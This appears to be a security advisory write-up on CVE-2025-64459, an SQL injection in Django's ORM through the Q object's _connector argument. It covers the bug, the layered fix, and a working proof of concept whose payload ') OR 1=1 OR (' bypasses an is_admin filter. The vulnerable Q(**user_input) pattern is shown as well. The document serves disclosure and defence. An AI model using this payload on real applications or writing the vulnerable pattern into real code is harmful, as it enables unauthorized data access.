SQL injection in the Django ORM (CVE-2025-64459)
November 2025 · CVE-2025-64459 · Fixed in Django 5.2.8, 5.1.14, 4.2.26
Summary
Django’s WhereNode.as_sql formatted the query connector (AND / OR) into the generated SQL via unchecked %s string interpolation. Because the connector value is attacker-reachable through the _connector key of a Q object — and because the common pattern Q(**user_input) unpacks request dictionaries directly into Q — an attacker controlling any input that ends up in that dictionary can inject arbitrary SQL into a WHERE clause, bypassing ORM parameterization.
The bug
In django/db/models/sql/where.py, WhereNode.as_sql joined child clauses with the group’s connector like this:
conn = ' %s ' % self.connector
No validation on self.connector; whatever string it held went straight into the query. self.connector is populated from the _connector argument of the Q constructor, which is a documented feature for choosing between AND and OR grouping. The constructor accepts it as a regular keyword argument, which is where the trouble starts.
The vulnerable application pattern is common in JSON APIs that accept a dictionary of filters:
filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary)
results = User.objects.filter(query)
If the attacker controls filter_dictionary, they can set _connector to arbitrary SQL. It flows from Q‘s kwargs into self.connector, then into the query string via the %s above, appearing raw in the final WHERE clause.
Proof of concept
Vulnerable versions: Django 5.2 < 5.2.8, 5.1 < 5.1.14, 4.2 < 4.2.26. Set up a minimal project:
django-admin startproject sqli .
python manage.py startapp webapp
Add webapp to INSTALLED_APPS in sqli/settings.py and define a model with a privileged flag:
# webapp/models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
is_admin = models.BooleanField(default=False)
Then a management command that simulates a vulnerable API endpoint by unpacking an untrusted dictionary into Q:
# webapp/management/commands/poc.py
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
def process_vulnerable_request(search_dict):
# Unpacks a user-controlled dictionary directly into Q().
query = Q(**search_dict)
return User.objects.filter(query)
class Command(BaseCommand):
def handle(self, *args, **options):
User.objects.all().delete()
User.objects.create(username="alice", is_admin=False)
User.objects.create(username="root", is_admin=True)
# Attacker-controlled JSON payload.
payload = {
"is_admin": False,
"username": "nonexistent_user",
"_connector": ") OR 1=1 OR (",
}
queryset = process_vulnerable_request(payload)
sql, params = queryset.query.get_compiler(using='default').as_sql()
self.stdout.write("Generated SQL:")
self.stdout.write(sql % tuple(f"'{p}'" for p in params))
self.stdout.write("\nResults:")
for user in queryset:
self.stdout.write(f" {user.username} (admin={user.is_admin})")
Run it:
python manage.py makemigrations && python manage.py migrate
python manage.py poc
The generated SQL shows the payload interpolated directly into the WHERE clause:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin"
FROM "webapp_user"
WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
Results:
alice (admin=False)
root (admin=True)
The is_admin=False filter is bypassed and the admin record is returned. Any model exposed through a similar Q(**user_input) pattern has the same exposure; the payload space is wider than the OR 1=1 demo here, since anything that parses as SQL in that position works.
The fix
Django’s patch is layered. At the low level, WhereNode.as_sql now validates self.connector against an allow-list of AND / OR / XOR before it’s formatted into the query — the core fix, and the one that closes the vulnerability regardless of how the bad value arrived.
At the high level, QuerySet.filter() / .exclude() and related kwargs-handling paths now reject _connector as a lookup key, which kills the most common exploit pattern (Q(**user_input)) before it reaches Q‘s constructor at all. Defense-in-depth rather than strictly necessary, but correct: the second layer catches the bug class even if a future refactor moves the first one.
Fixed in 5.2.8, 5.1.14, and 4.2.26. The advisory is on the Django security releases page.

